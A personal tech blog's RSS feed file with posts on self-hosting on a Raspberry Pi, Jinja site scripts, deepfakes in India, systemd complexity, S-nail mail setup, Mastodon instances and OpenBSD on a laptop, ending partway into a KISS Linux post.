pages/blog/feed.xml (view raw)
1<rss xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/" version="2.0">
2 <channel>
3 <title>icyphox's blog</title>
4 <link>https://icyphox.sh/</link>
5 <description>Computers, security and computer security.</description>
6 <atom:link href="https://icyphox.sh/blog/feed.xml" rel="self" type="application/xml"/>
7 <image>
8 <title>icyphox logo</title>
9 <url>https://icyphox.sh/icyphox.png</url>
10 <link>https://icyphox.sh/</link>
11 </image>
12 <language>en-us</language>
13 <copyright>Creative Commons BY-NC-SA 4.0</copyright>
14 <item><title>Migrating to the RPi</title><description><![CDATA[<p>I’d ordered the Raspberry Pi 4B (the 4GB variant), sometime early
15this year, thinking I’d get to self-hosting everything on it as soon as
16it arrived. As things turn out, it ended up sitting in its box up until
17two weeks ago—it took me <em>that</em> long to order an SD card for it. No,
18I didn’t have one. Anyway, from there began quite the wild ride.</p>
19
20<h2 id="flashing-the-sd-card">flashing the SD card</h2>
21
22<p>You’d think this would be easy right? Just plug it into your laptop’s SD
23card reader (or microSD), and flash it like you would a USB drive. Well,
24nope. Of the three laptops at home one doesn’t have an SD card reader,
25mine—running OpenBSD—didn’t detect it, and my brother’s—running
26Void—didn’t detect it either. </p>
27
28<p>Then it hit me: my phone (my brother’s, actually), has an SD card slot
29that actually works. Perhaps I can use the phone to flash the image?
30Took a bit of DDG’ing (ducking?), but we eventually figured out that the
31block-device for the SD on the phone was <code>/dev/mmcblk1</code>. Writing to it
32was just the usual <code>dd</code> invocation.</p>
33
34<h2 id="got-natd">got NAT’d</h2>
35
36<p>After the initial setup, I was eager to move my services off the Digital
37Ocean VPS, to the RPi. I set up the SSH port forward through my router
38config, as a test. Turns out my ISP has me NAT’d. The entirety of my
39apartment is serviced by these fellas, and they have us all under
40a CG-NAT. Fantastic.</p>
41
42<p>Evading this means I either lease a public IP from the ISP, or
43I continue using my VPS, and port forward traffic from it via a tunnel.
44I went with option two since it gives me something to do.</p>
45
46<h2 id="nat-evasion">NAT evasion</h2>
47
48<p>This was fairly simple to setup with Wireguard and <code>iptables</code>. I don’t
49really want to get into detail here, since it’s been documented aplenty
50online, but in essence you put your VPS and the Pi on the same network,
51and forward traffic hitting your internet facing interface (<code>eth0</code>)
52to the VPN’s (<code>wg0</code>). Fairly simple stuff.</p>
53
54<h2 id="setting-up-mastodon-on-the-pi">setting up Mastodon on the Pi</h2>
55
56<p>Mastodon was kind of annoying to get working. My initial plan was to
57port forward only a few selected ports, have Mastodon exposed on the Pi
58at some port via nginx, and then front <em>that</em> nginx via the VPS. So
59basically: Mastodon (localhost on Pi) <-> nginx (on Pi) <-> nginx (on
60VPS, via Wireguard). I hope that made sense.</p>
61
62<p>Anyway, this setup would require having Mastodon run on HTTP, since I’ll
63be HTTPS’ing at the VPS. If you think about it, it’s kinda like what
64Cloudflare does. But, Mastodon doesn’t like running on HTTP. It just
65wasn’t working. So I went all in and decided to forward all 80/443
66traffic and serve everything off the Pi.</p>
67
68<p>Getting back to Mastodon—the initial few hiccups aside, I was able to
69get it running at <code>toot.icyphox.sh</code>. However, as a seeker of aesthetics,
70I wanted my handle to be <code>@icyphox.sh</code>. Turns out, this can be achieved
71fairly easily. </p>
72
73<p>Add a new <code>WEB_DOMAIN</code> variable to your <code>.env.production</code> file, found in
74your Mastodon root dir. Set <code>WEB_DOMAIN</code> to your desired domain, and
75<code>LOCAL_DOMAIN</code> to the, well, undesired one. In my case:</p>
76
77<pre><code>WEB_DOMAIN=icyphox.sh
78LOCAL_DOMAIN=toot.icyphox.sh
79</code></pre>
80
81<p>Funnily enough, the
82<a href="https://github.com/tootsuite/documentation/blob/archive/Running-Mastodon/Serving_a_different_domain.md">official documentation for this</a>
83says the exact opposite, which…doesn’t work.</p>
84
85<p>I don’t really understand, but whatever it works and now my Mastodon is
86@<a href="https://toot.icyphox.sh/@x">x@icyphox.sh</a>. I’m not complaining. Send
87mail if you know what’s going on here.</p>
88
89<p>And oh, here’s the protective case <a href="https://peppe.rs">nerd</a> fashioned
90out of cardboard.</p>
91
92<p><img src="/static/img/pi-case.jpg" alt="raspberry pi case" /></p>
93]]></description><link>https://icyphox.sh/blog/pi</link><pubDate>Thu, 04 Jun 2020 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/pi</guid></item><item><title>Site changes</title><description><![CDATA[<p>The past couple of days, I’ve spent a fair amount of time tweaking this
94site. My site’s build process involves
95<a href="https://github.com/icyphox/vite">vite</a> and a bunch of
96<a href="https://github.com/icyphox/site/tree/master/bin">scripts</a>. These
97scripts are executed via vite’s pre- and post-build actions. The big
98changes that were made were performance improvements in the
99<code>update_index.py</code> script, and the addition of <code>openring.py</code>, which you
100can see at the very bottom of this post!</p>
101
102<h2 id="speeding-up-index-page-generation">speeding up index page generation</h2>
103
104<p>The old script—the one that featured in <a href="/blog/hacky-scripts">Hacky
105scripts</a>—was absolutely ridiculous, and not to
106mention <em>super</em> slow. Here’s what it did:</p>
107
108<ul>
109<li>got the most recent file (latest post) by sorting all posts by
110<code>mtime</code>.</li>
111<li>parsed the markdown frontmatter and created a markdown table entry
112like: </li>
113</ul>
114
115<div class="codehilite"><pre><span></span><code><span class="n">line</span> <span class="o">=</span> <span class="sa">f</span><span class="s2">"| [</span><span class="si">{</span><span class="n">meta</span><span class="p">[</span><span class="s1">'title'</span><span class="p">]</span><span class="si">}</span><span class="s2">](</span><span class="si">{</span><span class="n">url</span><span class="si">}</span><span class="s2">) | `</span><span class="si">{</span><span class="n">meta</span><span class="p">[</span><span class="s1">'date'</span><span class="p">]</span><span class="si">}</span><span class="s2">` |"</span>
116</code></pre></div>
117
118<ul>
119<li>updated the markdown table (in <code>_index.md</code>) by in-place editing the
120markdown, with the line created earlier—for the latest post.</li>
121<li>finally, I’d have to <em>rebuild</em> the entire site since this markdown
122hackery would happen at the very end of the build, i.e, didn’t
123actually get rendered itself. </li>
124</ul>
125
126<p>That…probably didn’t make much sense to you, did it? Don’t bother.
127I don’t know what I was thinking when I wrote that mess. So with how it
128<em>was</em> done aside, here’s how it’s done now:</p>
129
130<ul>
131<li>the metadata for all posts are nicely fetched and sorted using
132<code>python-frontmatter</code>.</li>
133<li>the metadata list is fed into Jinja for use in templating, and is
134rendered very nicely using a simple <code>for</code> expression:</li>
135</ul>
136
137<pre><code>{% for p in posts %}
138 <tr>
139 <td align="left"><a href="/blog/{{ p.url }}">{{ p.title }}</a></td>
140 <td align="right">{{ p.date }}</td>
141 </tr>
142{% endfor %}
143</code></pre>
144
145<p>A neat thing I learnt while working with Jinja, is you can use
146<code>DebugUndefined</code> in your <code>jinja2.Environment</code> definition to ignore
147uninitialized template variables. Jinja’s default behaviour is to remove
148all uninitialized variables from the template output. So for instance,
149if you had:</p>
150
151<div class="codehilite"><pre><span></span><code><span class="p"><</span><span class="nt">body</span><span class="p">></span>
152 {{ body }}
153<span class="p"></</span><span class="nt">body</span><span class="p">></span>
154
155<span class="p"><</span><span class="nt">footer</span><span class="p">></span>
156 {{ footer }}
157<span class="p"></</span><span class="nt">footer</span><span class="p">></span>
158</code></pre></div>
159
160<p>And only <code>{{ body }}</code> was initialized in your <code>template.render(body=body)</code>,
161the output you get would be:</p>
162
163<div class="codehilite"><pre><span></span><code><span class="p"><</span><span class="nt">body</span><span class="p">></span>
164 Hey there!
165<span class="p"></</span><span class="nt">body</span><span class="p">></span>
166<span class="p"><</span><span class="nt">footer</span><span class="p">></span>
167
168<span class="p"></</span><span class="nt">footer</span><span class="p">></span>
169</code></pre></div>
170
171<p>This is annoying if you’re attempting to generate your template across
172multiple stages, as I was. Now, I initialize my Jinja environment like
173so:</p>
174
175<div class="codehilite"><pre><span></span><code><span class="kn">from</span> <span class="nn">jinja2</span> <span class="kn">import</span> <span class="n">DebugUndefined</span>
176
177<span class="n">env</span> <span class="o">=</span> <span class="n">jinja2</span><span class="o">.</span><span class="n">Environment</span><span class="p">(</span><span class="n">loader</span><span class="o">=</span><span class="n">template_loader</span><span class="p">,</span><span class="n">undefined</span><span class="o">=</span><span class="n">DebugUndefined</span><span class="p">)</span>
178</code></pre></div>
179
180<p>I use the same trick for <code>openring.py</code> too. Speaking of…let’s talk
181about <code>openring.py</code>!</p>
182
183<h2 id="the-new-webring-thing-at-the-bottom">the new webring thing at the bottom</h2>
184
185<p>After having seen Drew’s <a href="https://git.sr.ht/~sircmpwn/openring">openring</a>,
186my <a href="https://en.wikipedia.org/wiki/Not_invented_here">NIH</a> kicked in and I wrote
187<a href="https://github.com/icyphox/openring.py"><code>openring.py</code></a>. It pretty much
188does the exact same thing, except it’s a little more composable with
189vite. Currently, it reads a random sample of 3 feeds from a list of
190feeds provided in a <code>feeds.txt</code> file, and updates the webring with those
191posts. Like a feed-bingo of sorts. ;)</p>
192
193<p>I really like how it turned out—especially the fact that I got my CSS
194grid correct in the first try!</p>
195]]></description><link>https://icyphox.sh/blog/site-changes</link><pubDate>Wed, 27 May 2020 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/site-changes</guid></item><item><title>The efficacy of deepfakes</title><description><![CDATA[<p>A few days back, NPR put out an article discussing why deepfakes aren’t
196all that powerful in spreading disinformation.
197<a href="https://www.npr.org/2020/05/07/851689645/why-fake-video-audio-may-not-be-as-powerful-in-spreading-disinformation-as-feare">Link to article</a>.</p>
198
199<p>According to the article:</p>
200
201<blockquote>
202 <p>“We’ve already passed the stage at which they would have been most
203 effective,” said Keir Giles, a Russia specialist with the Conflict
204 Studies Research Centre in the United Kingdom. “They’re the dog that
205 never barked.”</p>
206</blockquote>
207
208<p>I agree. This might be the case when it comes to Russian influence.
209There are simpler, more cost-effective ways to conduct <a href="https://en.wikipedia.org/wiki/Active_measures">active
210measures</a>, like memes.
211Besides, America already has the infrastructure in place to combat
212influence ops, and have been doing so for a while now. </p>
213
214<p>However, there are certain demographics whose governments may not have
215the capability to identify and perform damage control when
216a disinformation campaign hits, let alone deepfakes. An example of this
217demographic: India.</p>
218
219<h2 id="the-indian-landscape">the Indian landscape</h2>
220
221<p>The disinformation problem in India is way more sophisticated, and
222harder to combat than in the West. There are a couple of reasons for
223this:</p>
224
225<ul>
226<li>The infrastructure for fake news already exists: WhatsApp</li>
227<li>Fact checking media in 22 different languages is non-trivial</li>
228</ul>
229
230<p>India has had a long-standing problem with misinformation. The 2019
231elections, the recent CAA controversy and even more recently—the
232coronavirus. In some cases, it has even lead to
233<a href="https://www.npr.org/2018/07/18/629731693/fake-news-turns-deadly-in-india">mob violence</a>.</p>
234
235<p>All of this shows that the populace is easily influenced, and deepfakes
236are only going to simplify this. What’s worse is explaining to a rural
237crowd that something like a deepfake can exist—comprehension and
238adoption of technology has always been slow in India, and can be
239attributed to socio-economic factors. </p>
240
241<p>There also exists a majority of the population that’s already been
242influenced to a certain degree: the right wing. A deepfake of a Muslim
243leader trashing Hinduism will be eaten up instantly. They are inclined
244to believe it is true, by virtue of prior influence and given the
245present circumstances.</p>
246
247<h2 id="countering-deepfakes">countering deepfakes</h2>
248
249<p>The thing about deepfakes is the tech to spot them already exists. In
250fact, some can even be eyeballed. Deepfake imagery tends to have weird
251artifacting, which can be noticed upon closer inspection. Deepfake
252videos, of people specifically, blink / move weirdly. The problem at
253hand, however, is the general public cannot be expected to notice these
254at a quick glance, and the task of proving a fake is left to researchers
255and fact checkers.</p>
256
257<p>Further, India does not have the infrastructure to combat deepfakes at
258scale. By the time a research group / think tank catches wind of it, the
259damage is likely already done. Besides, disseminating contradictory
260information, i.e. “this video is fake”, is also a task of its own.
261Public opinion has already been swayed, and the brain dislikes
262contradictions.</p>
263
264<h2 id="why-havent-we-seen-it-yet">why haven’t we seen it yet?</h2>
265
266<p>Creating a deepfake isn’t trivial. Rather, creating a <em>convincing</em> one
267isn’t. I would also assume that most political propaganda outlets are
268just large social media operations. They lack the technical prowess and
269/ or the funding to produce a deepfake. This doesn’t mean they can’t
270ever. </p>
271
272<p>It goes without saying, but this post isn’t specific to India. I’d say
273other countries with a similar socio-economic status are in a similar
274predicament. Don’t write off deepfakes as a non-issue just because
275America did.</p>
276]]></description><link>https://icyphox.sh/blog/efficacy-deepfakes</link><pubDate>Mon, 11 May 2020 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/efficacy-deepfakes</guid></item><item><title>Simplicity (mostly) guarantees security</title><description><![CDATA[<p>Although it is a very comfy one, it’s not just an aesthetic. Simplicity
277and minimalism, in technology, is great for security too. I say “mostly”
278in the title because human error cannot be discounted, and nothing is
279perfect. However, the simpler your tech stack is, it is inherentely more
280secure than complex monstrosities.</p>
281
282<p>Let’s look at systemd, for example. It’s got over 1.2 million
283lines of code. “Hurr durr but LoC doesn’t mean anything!” Sure ok, but
284can you <em>imagine</em> auditing this? How many times has it even been
285audited? I couldn’t find any audit reports. No, the developers are not
286security engineers and a trustworthy audit must be done by
287a third-party. What’s scarier, is this thing runs on a huge percentage
288of the world’s critical infrastructure and contains privileged core
289subsystems. </p>
290
291<p>“B-but Linux is much bigger!” Indeed, it is, but it has a thousand times
292(if not more) the number of eyes looking at the code, and there have been
293multiple third-party audits. There are hundreds of independent orgs and
294multiple security teams looking at it. That’s not the case with
295systemd—it’s probably just RedHat.</p>
296
297<p>Compare this to a bunch of shell scripts. Agreed, writing safe shell can
298be hard and there are a ton of weird edge-cases depending on your shell
299implementation, but the distinction here is <em>you</em> wrote it. Which means,
300you can identify what went wrong—things are predictable.
301systemd, however, is a large blackbox, and its state at runtime is largely
302unprovable and unpredictable. I am certain even the developers don’t
303know.</p>
304
305<p>And this is why I whine about complexity so much. A complex,
306unpredictable system is nothing more than a large attack surface. Drew
307DeVault, head of <a href="https://sourcehut.org">sourcehut</a> wrote something
308similar (yes that’s the link, yes it has a typo).: </p>
309
310<p><a href="https://sourcehut.org/blog/2020-04-20-prioritizing-simplitity/">https://sourcehut.org/blog/2020-04-20-prioritizing-simplitity/</a></p>
311
312<p>He manually provisions all
313sourcehut infrastructure, because tools like Salt, Kubernetes etc. are
314just like systemd in our example—large monstrosities which can get you
315RCE’d. Don’t believe me? See
316<a href="https://threatpost.com/salt-bugs-full-rce-root-cloud-servers/155383/">this</a>.</p>
317
318<p><em>This was day 3 of the #100DaysToOffload challenge. It came out like
319a systemd-hate post, but really, I couldn’t think of a better example.</em></p>
320]]></description><link>https://icyphox.sh/blog/simplicity-security</link><pubDate>Thu, 07 May 2020 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/simplicity-security</guid></item><item><title>The S-nail mail client</title><description><![CDATA[<p>TL;DR: Here’s my <a href="https://github.com/icyphox/dotfiles/blob/master/home/.mailrc"><code>.mailrc</code></a>.</p>
321
322<p>As I’d mentioned in my blog post about <a href="/blog/mael">mael</a>, I’ve been on
323the lookout for a good, usable mail client. As it happens, I found
324S-nail just as I was about to give up on mael. Turns out writing an MUA
325isn’t all too easy after all. S-nail turned out to be the perfect client
326for me, but I had to invest quite some time in reading the <a href="https://www.sdaoden.eu/code-nail.html">very
327thorough manual</a> and exchanging
328emails with its <a href="https://www.sdaoden.eu">very friendly author</a>. I did it
329so you don’t have to<sup class="footnote-ref" id="fnref-read-man"><a href="#fn-read-man">1</a></sup>, and I present to you
330this guide.</p>
331
332<h2 id="basic-settings">basic settings</h2>
333
334<p>These settings below should guarantee some sane defaults to get started
335with. Comments added for context.</p>
336
337<pre><code># enable upward compatibility with S-nail v15.0
338set v15-compat
339
340# charsets we send mail in
341set sendcharsets=utf-8,iso-8859-1
342
343# reply back in sender's charset
344set reply-in-same-charset
345
346# prevent stripping of full names in replies
347set fullnames
348
349# adds a 'Mail-Followup-To' header; useful in mailing lists
350set followup-to followup-to-honour-ask-yes
351
352# asks for an attachment after composing
353set askattach
354
355# marks a replied message as answered
356set markanswered
357
358# honors the 'Reply-To' header
359set reply-to-honour
360
361# automatically launches the editor while composing mail interactively
362set editalong
363
364# I didn't fully understand this :)
365set history-gabby=all
366
367# command history storage
368set history-file=~/.s-nailhist
369
370# sort mail by date (try 'thread' for threaded view)
371set autosort=date
372</code></pre>
373
374<h2 id="authentication">authentication</h2>
375
376<p>With these out of the way, we can move on to configuring our
377account—authenticating IMAP and SMTP. Before that, however, we’ll
378have to create a <code>~/.netrc</code> file to store our account credentials. </p>
379
380<p>(This of course, assumes that your SMTP and IMAP credentials are the
381same. I don’t know what to do otherwise. )</p>
382
383<pre><code>machine *.domain.tld login user@domain.tld password hunter2
384</code></pre>
385
386<p>Once done, encrypt this file using <code>gpg</code> / <code>gpg2</code>. This is optional, but
387recommended.</p>
388
389<pre><code>$ gpg2 --symmetric --cipher-algo AES256 -o .netrc.gpg .netrc
390</code></pre>
391
392<p>You can now delete the plaintext <code>.netrc</code> file. Now add these lines to
393your <code>.mailrc</code>:</p>
394
395<pre><code>set netrc-lookup
396set netrc-pipe='gpg2 -qd ~/.netrc.gpg'
397</code></pre>
398
399<p>Before we define our account block, add these two lines for a nicer IMAP
400experience:</p>
401
402<pre><code>set imap-cache=~/.cache/nail
403set imap-keepalive=240
404</code></pre>
405
406<p>Defining an account is dead simple. </p>
407
408<pre><code>account "personal" {
409 localopts yes
410 set from="Your Name <user@domain.tld>"
411 set folder=imaps://imap.domain.tld:993
412
413 # copy sent messages to Sent; '+' indicates subdir of 'folder'
414 set record=+Sent
415 set inbox=+INBOX
416
417 # optionally, set this to 'smtps' and change the port accordingly
418 # remove 'smtp-use-starttls'
419 set mta=smtp://smtp.domain.tld:587 smtp-use-starttls
420
421 # couple of shortcuts to useful folders
422 shortcut sent +Sent \
423 inbox +INBOX \
424 drafts +Drafts \
425 trash +Trash \
426 archives +Archives
427}
428
429# enable account on startup
430account personal
431</code></pre>
432
433<p>You might also want to trash mail, instead of perma-deleting them
434(<code>delete</code> does that). To achieve this, we define an alias:</p>
435
436<pre><code>define trash {
437 move "$@" +Trash
438}
439
440commandalias del call trash
441</code></pre>
442
443<p>Replace <code>+Trash</code> with the relative path to your trash folder.</p>
444
445<h2 id="aesthetics">aesthetics</h2>
446
447<p>The fun stuff. I don’t feel like explaining what these do (hint: I don’t
448fully understand it either), so just copy-paste it and mess around with
449the colors:</p>
450
451<pre><code># use whatever symbol you fancy
452set prompt='> '
453
454colour 256 sum-dotmark ft=bold,fg=13 dot
455colour 256 sum-header fg=007 older
456colour 256 sum-header bg=008 dot
457colour 256 sum-header fg=white
458colour 256 sum-thread bg=008 dot
459colour 256 sum-thread fg=cyan
460</code></pre>
461
462<p>The prompt can be configured more extensively, but I don’t need it. Read
463the man page if you do.</p>
464
465<h2 id="essential-commands">essential commands</h2>
466
467<p>Eh, you can just read the man page, I guess. But here’s a quick list off
468the top of my head:</p>
469
470<ul>
471<li><code>headers</code>: Lists all messages, with the date, subject etc.</li>
472<li><code>mail</code>: Compose mail.</li>
473<li><code><number></code>: Read mail by specifiying its number on the message list.</li>
474<li><code>delete <number></code>: Delete mail.</li>
475<li><code>new <number></code>: Mark as new (unread).</li>
476<li><code>file <shortcut or path to folder></code>: Change folders. For example: <code>file
477sent</code></li>
478</ul>
479
480<p>That’s all there is to it.</p>
481
482<p><em>This is day 2 of the #100DaysToOffload challenge. I didn’t think I’d
483participate, until today. So yesterday’s post is day 1. Will I keep at
484it? I dunno. We’ll see.</em></p>
485
486<div class="footnotes">
487<hr />
488<ol>
489<li id="fn-read-man">
490<p>Honestly, read the man page (and email Steffen!)—there’s
491a ton of useful options in there. <a href="#fnref-read-man" class="footnoteBackLink" title="Jump back to footnote 1 in the text.">↩</a></p>
492</li>
493</ol>
494</div>
495]]></description><link>https://icyphox.sh/blog/s-nail</link><pubDate>Wed, 06 May 2020 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/s-nail</guid></item><item><title>Stop joining mastodon.social</title><description><![CDATA[<p>No, really. Do you actually understand why the Mastodon network exists,
496and what it stands for, or are you just LARPing? If you’re going to just
497cross-post from Twitter, why are you even on Mastodon?</p>
498
499<p>Okay, so Mastodon is a “federated network”. What does that mean? You
500have a bunch of instances, each having their own userbase, and each
501instance <em>federates</em> with other instances, forming a distributed
502network. Got that? Cool. Now let’s get to the problem with
503mastodon.social.</p>
504
505<p>mastodon.social is the instance run by the lead developer. Why does
506everybody flock to it? I’m really not sure, but if I were to hazard
507a guess, I’d say it’s because people don’t really understand federation.
508“Oh, big instance? I should probably join that.” Herd mentality?
509I dunno.</p>
510
511<p>And what happens when every damn user joins just one instance? It becomes
512more Twitter, that’s what. The federation is gone. Nearly all activity
513is generated from just one instance. Here are some numbers:</p>
514
515<ul>
516<li>Total number of users on Mastodon: ~2.2 million.</li>
517<li>Number of users on mastodon.social: 529923</li>
518</ul>
519
520<p>Surprisingly, there’s an instance even bigger than
521mastodon.social—pawoo.net. I have no idea why it’s so big and it’s
522primarily Japanese. Its user count is over 620k. So mastodon.social and
523pawoo.net put together form over 1 million users, that’s <em>more than</em> 50%
524of the entire Mastodon populace. That’s nuts.<sup class="footnote-ref" id="fnref-federation-fallacy"><a href="#fn-federation-fallacy">1</a></sup></p>
525
526<p>And you’re only enabling this centralization by joining mastodon.social! Really, what
527even <em>is there</em> on mastodon.social? Have you even seen its local
528timeline? Probably not. Join an instance with more flavor. Are you into,
529say, the BSDs? Join bsd.network. Free software? fosstodon.org. Or host
530your own for yourself and your friends. </p>
531
532<p>If you really do care about decentralization and freedom, and aren’t
533just memeing to look cool on Twitter, then move your account to another
534instance.<sup class="footnote-ref" id="fnref-move-account"><a href="#fn-move-account">2</a></sup></p>
535
536<div class="footnotes">
537<hr />
538<ol>
539<li id="fn-federation-fallacy">
540<p><a href="https://rosenzweig.io/blog/the-federation-fallacy.html">https://rosenzweig.io/blog/the-federation-fallacy.html</a> <a href="#fnref-federation-fallacy" class="footnoteBackLink" title="Jump back to footnote 1 in the text.">↩</a></p>
541</li>
542
543<li id="fn-move-account">
544<p>Go to <code>/settings/migration</code> from your instance’s web
545page. <a href="#fnref-move-account" class="footnoteBackLink" title="Jump back to footnote 2 in the text.">↩</a></p>
546</li>
547</ol>
548</div>
549]]></description><link>https://icyphox.sh/blog/mastodon-social</link><pubDate>Tue, 05 May 2020 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/mastodon-social</guid></item><item><title>OpenBSD on the HP Envy 13</title><description><![CDATA[<p>My existing KISS install broke because I thought it would be a great
550idea to have <a href="https://github.com/alpinelinux/apk-tools">apk-tools</a>
551alongside the <code>kiss</code> package manager. It’s safe to say, that did not end
552well—especially when I installed, and then removed a package. With
553a semi-broken install that I didn’t feel like fixing, I figured I’d give
554OpenBSD a try. And I did.</p>
555
556<h2 id="installation-and-setup">installation and setup</h2>
557
558<p>Ran into some trouble booting off the USB initially, turned out to be
559a faulty stick. Those things aren’t built to last, sadly. Flashed a new
560stick, booted up. Setup was pleasant, very straightforward. Didn’t
561really have to intervene much.</p>
562
563<p>After booting in, I was greeted with a very archaic looking FVWM
564desktop. It’s not the prettiest thing, and especially annoying to work
565with when you don’t have your mouse setup, i.e. no tap-to-click. </p>
566
567<p>I needed wireless, and my laptop doesn’t have an Ethernet port. USB
568tethering just works, but the connection kept dying. I’m not sure why.
569Instead, I downloaded the <a href="http://man.openbsd.org/iwm.4">iwm(4)</a>
570firmware from <a href="http://firmware.openbsd.org/firmware/6.6/">here</a>, loaded
571it up on a USB stick and copied it over to <code>/etc/firmware</code>. After that,
572it was as simple as running
573<a href="http://man.openbsd.org/fw_update.1">fw_update(1)</a>
574and the firmware is auto-detected and loaded. In fact, if you have working
575Internet, <code>fw_update</code> will download the required firmware for you, too.</p>
576
577<p>Configuring wireless is painless and I’m so glad to see that there’s no
578<code>wpa_supplicant</code> horror to deal with. It’s as simple as:</p>
579
580<pre><code>$ doas ifconfig iwm0 nwid YOUR_SSID wpakey YOUR_PSK
581</code></pre>
582
583<p>Also see <a href="http://man.openbsd.org/hostname.if.5">hostname.if(5)</a> to make
584this persist. After that, it’s only a matter of specifying your desired
585SSID, and <code>ifconfig</code> will automatically auth and procure an IP lease.</p>
586
587<pre><code>$ doas ifconfig iwm0 nwid YOUR_SSID
588</code></pre>
589
590<p>By now I was really starting to get exasperated by FVWM, and decided to
591switch to something nicer. I tried building 2bwm (my previous WM), but
592that failed. I didn’t bother trying to figure this out, so I figured I’d
593give <a href="http://man.openbsd.org/cwm.1">cwm(1)</a> a shot. Afterall, people
594sing high praises of it.</p>
595
596<p>And boy, is it good. The config is a breeze, and actually pretty
597powerful. <a href="https://github.com/icyphox/dotfiles/blob/master/home/.cwmrc">Here’s mine</a>.
598cwm also has a built-in launcher, so dmenu isn’t necessary anymore.
599Refer to <a href="https://man.openbsd.org/cwmrc.5">cwmrc(5)</a> for all the config
600options.</p>
601
602<p>Touchpad was pretty simple to setup too—OpenBSD has
603<a href="http://man.openbsd.org/wsconsctl.8">wsconsctl(8)</a>, which lets you set
604your tap-to-click, mouse acceleration etc. However, more advanced
605configuration can be achieved by getting Xorg to use the Synaptics
606driver. Just add a <code>70-synaptics.conf</code> to <code>/etc/X11/xorg.conf.d</code> (make
607the dir if it doesn’t exist), containing:</p>
608
609<pre><code>Section "InputClass"
610 Identifier "touchpad catchall"
611 Driver "synaptics"
612 MatchIsTouchpad "on"
613 Option "TapButton1" "1"
614 Option "TapButton2" "3"
615 Option "TapButton3" "2"
616 Option "VertEdgeScroll" "on"
617 Option "VertTwoFingerScroll" "on"
618 Option "HorizEdgeScroll" "on"
619 Option "HorizTwoFingerScroll" "on"
620 Option "VertScrollDelta" "111"
621 Option "HorizScrollDelta" "111"
622EndSection
623</code></pre>
624
625<p>There are a lot more options that can be configured, see
626<a href="http://man.openbsd.org/synaptics.4">synaptics(4)</a>.</p>
627
628<p>Suspend and hibernate just work, thanks to
629<a href="http://man.openbsd.org/apm.8">apm(8)</a>. Suspend on lid-close just needs
630one <code>sysctl</code> tweak:</p>
631
632<pre><code>$ sysctl machdep.lidaction=1
633</code></pre>
634
635<p>I believe it’s set to 1 by default on some installs, but I’m not sure.</p>
636
637<h2 id="impressions">impressions</h2>
638
639<p>I already really like the philosophy of OpenBSD—security and
640simplicity, while not losing out on sanity. The default install is
641plentiful, and has just about everything you’d need to get going.
642I especially enjoy how everything just works! I was pleasantly surprised
643to see my brightness and volume keys work without any configuration!
644It’s clear that the devs
645actually dogfood OpenBSD, unlike uh, <em>cough</em> Free- <em>cough</em>. Gosh I hope
646it’s not <em>the</em> flu. :^)</p>
647
648<p>Oh and did you notice all the manpage links I’ve littered throughout
649this post? They have manpages for <em>everything</em>; it’s ridiculous. And
650they’re very thorough. Arch Wiki is good, but it’s incorrect at times,
651or simply outdated. OpenBSD’s manpages, although catering only to
652OpenBSD have never failed me. </p>
653
654<p>Performance and battery life are fine. Battery is in fact, identical, if
655not better than on Linux. OpenBSD disables HyperThreading/SMT for
656security reasons, but you can manually enable it if you wish to do so:</p>
657
658<pre><code>$ sysctl hw.smt=1
659</code></pre>
660
661<p>Package management is probably the only place where OpenBSD falls short.
662<a href="http://man.openbsd.org/pkg_add.1">pkg_add(1)</a> isn’t particularly fast,
663considering it’s written in Perl. The ports selection is fine, I have
664yet to find something that I need not on there. I also wish they
665debloated packages; maybe I’ve just been spoilt by KISS. I now have
666D-Bus on my system thanks to Firefox. :(</p>
667
668<p>I appreciate the fact that they don’t have a political document—a Code
669of Conduct. CoCs are awful, and have only proven to be harmful for
670projects; part of the reason why I’m sick of Linux and its community.
671Oh wait, OpenBSD does have one: <a href="https://www.openbsd.org/mail.html">https://www.openbsd.org/mail.html</a>
672;)</p>
673
674<p>I’ll be exploring <a href="http://man.openbsd.org/vmd.8">vmd(8)</a> to see if I can
675get a Linux environment going. Perhaps that’ll be my next post, but when
676have I ever delivered?</p>
677
678<p>I’ll close this post off with my new rice, and a sick ASCII art I made.</p>
679
680<pre><code> \. -- --./
681 / ^ ^ ^ \
682 (o)(o) ^ ^ |_/|
683 {} ^ ^ > ^| \|
684 \^ ^ ^ ^/
685 / -- --\
686 ~icy
687</code></pre>
688
689<p><img src="https://x.icyphox.sh/zDYdj.png" alt="openbsd rice" /></p>
690]]></description><link>https://icyphox.sh/blog/openbsd-hp-envy</link><pubDate>Fri, 17 Apr 2020 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/openbsd-hp-envy</guid></item><item><title>The Zen of KISS Linux</title><description><![CDATA[<p><a href="/blog/five-days-tty">I installed KISS</a> early in January on my main
691machine—an HP Envy 13 (2017), and I have since noticed a lot of changes
692in my workflow, my approach to software (and its development), and in
693life as a whole. I wouldn’t call KISS “life changing”, as that would be
694overly dramatic, but it has definitely reshaped my outlook towards
695technology—for better or worse.</p>
696
697<p>When I talk about KISS to people—online or IRL---I get some pretty
698interesting reactions and comments.<sup class="footnote-ref" id="fnref-bringing-up-kiss"><a href="#fn-bringing-up-kiss">1</a></sup>
699Ranging from “Oh cool.” to “You must be
700retarded.”, I’ve heard it all. A classic and a personal favourite of
701mine, “I don’t use meme distros because I actually get work done.” It is
702actually, quite the opposite—I’ve been so much more productive using
703KISS than any other operating system. I’ll explain why shortly.</p>
704
705<p>The beauty of this “distro”, is it isn’t much of a distribution at all.
706There is no big team, no mailing lists, no infrastructure. The entire
707setup is so loose, and this makes it very convenient to swap things out
708for alternatives. The main (and potentially community) repos all reside
709locally on your system. In the event that Dylan decides to call it
710quits and switches to Windows, we can simply just bump versions
711ourselves, locally! The <a href="https://k1ss.org/guidestones">KISS Guidestones</a>
712document is a good read.</p>
713
714<p>In the subseqent paragraphs, I’ve laid out the different things about
715KISS that stand out to me, and make using the system a lot more
716enjoyable.</p>
717
718<h2 id="the-package-system">the package system</h2>
719
720<p>Packaging for KISS has been delightful, to say the least. It takes me
721about 2 mins to write and publish a new package. Here’s the <code>radare2</code>
722package, which I maintain, for example.</p>
723
724<p>The <code>build</code> file (executable):</p>
725
